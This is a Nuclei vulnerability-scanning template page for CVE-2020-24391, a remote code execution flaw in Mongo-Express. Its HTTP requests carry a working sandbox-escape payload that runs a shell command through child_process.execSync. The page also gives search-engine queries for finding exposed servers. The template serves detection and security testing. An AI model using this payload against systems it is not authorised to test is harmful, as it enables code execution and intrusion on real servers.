Mongo-Express - Remote Code Execution

ID: CVE-2020-24391

Severity: critical

Author: leovalcante

Tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js

Description

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.

YAML Source

id: CVE-2020-24391

info:
  name: Mongo-Express - Remote Code Execution
  author: leovalcante
  severity: critical
  description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
    - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24391
    - https://github.com/mongodb-js/query-parser/issues/16
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-24391
    epss-score: 0.55667
    epss-percentile: 0.97606
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query: http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
      - |
        GET /public/css/{{randstr}}.css HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
# digest: 4b0a0048304602210097968f42b5d7b9dc80e78903600cd101abb709ff090126d2283755eff2ab715f022100828efb3ca7d2ac4d8428524b82d46206312331def7753e386c9b89f3c862655a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-24391.yaml"

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